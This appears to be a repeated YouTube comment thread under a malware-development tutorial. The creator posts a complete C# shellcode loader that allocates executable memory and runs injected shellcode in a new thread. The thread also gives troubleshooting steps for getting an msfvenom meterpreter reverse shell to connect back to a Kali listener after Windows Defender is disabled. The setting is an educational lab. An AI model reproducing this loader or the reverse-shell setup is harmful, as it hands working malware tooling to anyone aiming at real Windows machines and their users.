I've been a Windows Sysadmin for 20 years and recently started transitioning to cybersecurity. In between HTB Academy and pwning machines, I'm really enjoying your content. My bet is 20k subs by the end of 2024
hey daniel! thanks so much for this lovely message, really appreciate it - can't tell you how much it means to me to know there are people that enjoy/benefit from my content. it's really a joy to make :)
I've been following along but can't seem to get a reverse shell to open. I'm running a windows 10 VM with defender fully disabled like your guide mentioned and kali on a separate laptop. The C# file is the same but maybe I'm mixing up IPs? The msfvenom LHOST should be the attacker's IP correct? Should this also be the same IP we set as LHOST in msfconsole? On the VM, the executable opens and after around 20 seconds closes on its own if that matters. Love the video and I'm learning a lot but I'm wondering why I can't get the reverse shell going
thanks for the kind message, let's see what what we can do here. i'm just preemptively gonna say sorry if some of these questions seem extremely obvious, it's just that i'm blind re: the issue (ie can't get real-time feedback), so at this point let's just cast a wide net. - yes, LHOST is the 'listening host' ie the one where the meterpreter handler resides, so of course just also ensure that aside from LHOST being the same, that you are using the same port, 53 DNS is always a good safe choice. - also correct, the meterpreter handler (set payload...) is in essence a mirror of the msfvenom payload. meaning, if you used windows/x64/meterpreter/reverse_tcp, then it should be the exact same. if you are still unsure check my video titled 'C2 setup + exploitation with Metasploit'. ok let's consider the following: - are you sure your windows 10 vm is 64-bit? - can the windows vm and kali connect? can you ping one from the other? both directions? now the fact that the executable dies after 20 seconds is somewhat strange as it can be indicative of defender behavioural monitoring, but since you followed my 'deep disable' technique it should not be an issue so let's just put this on the backburner for now. if the answers were yes to everything above, then this would be the best way to debug: 1. i've created a new version of the script with debug lines that will print to terminal as the exe runs, it should let us know if for whatever reason the exe is failing at what exact step it's happening. i'm adding it as the next comment. let me know what the output was. 2. unfortunately we can't debug in this same way for a connection since it's not the c# code mediating that, but of course the shellcode. so we'll have to modify shellcode to include debug lines which is a pain in the ass. i am assuming you have some familiarity with wireshark? if not, do a 101 intro video with chris greer on youtube, its really indispensable as far as network diagnostics go. so before you run the payload, get wireshark up and listening on your interface, ideally on both windows for outbound connection, as well as kali for inbound. look in your capture to see whether or not packets were indeed sent (from windows), or received (by kali). ok do this and lmk the results, this should help narrow the issue down and we can take it from there.
also one more thing worth checking did you remember to add the byte array size on this line? byte[] shellCode = new byte[] { /* insert shellcode here */ }; after adding shellcode you still need to add the size in the square brackets like so new byte[510]
that's my intention friend, really the big picture, though admittedly ambitious, is an entire course on creating your own C2, this here is really the first baby-step towards that grand goal. it might take a year, or 2 lol; and it'll be in C, C++, and C#. thanks for the comment x
Hope this series won't turn out to be like those once that get delayed delayed delayed in releaseing vedios in the series and finally left unfinished or forgotten in the end
i guess that means you enjoyed the video so... thanks? rotating between this series and the one on beej's guide to c, only vids i'm focussed on atm so vids on each will drop fortnightly.
@@faanross focus on this I just think this will get more viewers and all than the c one just saying bro do what you feel is best all the best and waiting for more in this series
I've been a Windows Sysadmin for 20 years and recently started transitioning to cybersecurity. In between HTB Academy and pwning machines, I'm really enjoying your content. My bet is 20k subs by the end of 2024
hey daniel! thanks so much for this lovely message, really appreciate it - can't tell you how much it means to me to know there are people that enjoy/benefit from my content. it's really a joy to make :)
100 perent effort and 0 viewers. very underrated channel. keep the gud work buddy
please continue this series!!!!
next episode dropping in 2-3 days 🖖🏻
@@faanross pls make a video of msfvenom and metasploit. Thank you for your work!
Informative & slick. 👌🏻 "It's ALL YOU HAVE TO DO!" 😌
MISFILED!?
I've been following along but can't seem to get a reverse shell to open. I'm running a windows 10 VM with defender fully disabled like your guide mentioned and kali on a separate laptop. The C# file is the same but maybe I'm mixing up IPs? The msfvenom LHOST should be the attacker's IP correct? Should this also be the same IP we set as LHOST in msfconsole? On the VM, the executable opens and after around 20 seconds closes on its own if that matters. Love the video and I'm learning a lot but I'm wondering why I can't get the reverse shell going
thanks for the kind message, let's see what what we can do here. i'm just preemptively gonna say sorry if some of these questions seem extremely obvious, it's just that i'm blind re: the issue (ie can't get real-time feedback), so at this point let's just cast a wide net.
- yes, LHOST is the 'listening host' ie the one where the meterpreter handler resides, so of course just also ensure that aside from LHOST being the same, that you are using the same port, 53 DNS is always a good safe choice.
- also correct, the meterpreter handler (set payload...) is in essence a mirror of the msfvenom payload. meaning, if you used windows/x64/meterpreter/reverse_tcp, then it should be the exact same. if you are still unsure check my video titled 'C2 setup + exploitation with Metasploit'.
ok let's consider the following:
- are you sure your windows 10 vm is 64-bit?
- can the windows vm and kali connect? can you ping one from the other? both directions?
now the fact that the executable dies after 20 seconds is somewhat strange as it can be indicative of defender behavioural monitoring, but since you followed my 'deep disable' technique it should not be an issue so let's just put this on the backburner for now.
if the answers were yes to everything above, then this would be the best way to debug:
1. i've created a new version of the script with debug lines that will print to terminal as the exe runs, it should let us know if for whatever reason the exe is failing at what exact step it's happening. i'm adding it as the next comment. let me know what the output was.
2. unfortunately we can't debug in this same way for a connection since it's not the c# code mediating that, but of course the shellcode. so we'll have to modify shellcode to include debug lines which is a pain in the ass. i am assuming you have some familiarity with wireshark? if not, do a 101 intro video with chris greer on youtube, its really indispensable as far as network diagnostics go. so before you run the payload, get wireshark up and listening on your interface, ideally on both windows for outbound connection, as well as kali for inbound. look in your capture to see whether or not packets were indeed sent (from windows), or received (by kali).
ok do this and lmk the results, this should help narrow the issue down and we can take it from there.
using System;
using System.Runtime.InteropServices;
namespace ShellcodePayload
{
class Payload
{
[DllImport("kernel32.dll")]
private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32.dll")]
private static extern IntPtr CreateThread(IntPtr lpThreadAttributes, UInt32 dwStackSize, IntPtr lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
[DllImport("kernel32.dll")]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
static void Main()
{
Console.WriteLine("Starting payload execution...");
byte[] shellCode = new byte[] { /* insert shellcode here */ };
Console.WriteLine("Shellcode length: " + shellCode.Length + " bytes.");
UInt32 MEM_COMMIT = 0x1000;
UInt32 PAGE_EXECUTE_READWRITE = 0x40;
Console.WriteLine("Allocating memory...");
IntPtr funcAddr = VirtualAlloc(IntPtr.Zero, (UInt32)shellCode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (funcAddr == IntPtr.Zero)
{
Console.WriteLine("Memory allocation failed.");
return;
}
else
{
Console.WriteLine("Memory allocated successfully.");
}
Console.WriteLine("Injecting shellcode...");
Marshal.Copy(shellCode, 0, funcAddr, shellCode.Length);
Console.WriteLine("Shellcode injected.");
Console.WriteLine("Creating thread to execute shellcode...");
UInt32 threadId = 0;
IntPtr hThread = CreateThread(IntPtr.Zero, 0, funcAddr, IntPtr.Zero, 0, ref threadId);
if (hThread == IntPtr.Zero)
{
Console.WriteLine("Thread creation failed.");
return;
}
else
{
Console.WriteLine("Thread created successfully. Thread ID: " + threadId);
}
WaitForSingleObject(hThread, 0xFFFFFFFF);
Console.WriteLine("Payload execution complete.");
}
}
}
also one more thing worth checking did you remember to add the byte array size on this line?
byte[] shellCode = new byte[] { /* insert shellcode here */ };
after adding shellcode you still need to add the size in the square brackets like so new byte[510]
funky Addr yeahhhhhhhhhhhhhhhhh hahahahahahhaha you got me
nice video i try it out
I hope you upload about on C++
oh yeah we'll get there, ultimately we'll weave C#, C++, and C depending on goals.
please do for us a full malware dev course for free using (C# or rust or go)🥰
that's my intention friend, really the big picture, though admittedly ambitious, is an entire course on creating your own C2, this here is really the first baby-step towards that grand goal. it might take a year, or 2 lol; and it'll be in C, C++, and C#. thanks for the comment x
Hope this series won't turn out to be like those once that get delayed delayed delayed in releaseing vedios in the series and finally left unfinished or forgotten in the end
i guess that means you enjoyed the video so... thanks? rotating between this series and the one on beej's guide to c, only vids i'm focussed on atm so vids on each will drop fortnightly.
@@faanross focus on this I just think this will get more viewers and all than the c one just saying bro do what you feel is best all the best and waiting for more in this series
@@firosiam7786 you're probably right, will consider thanks for the feedback.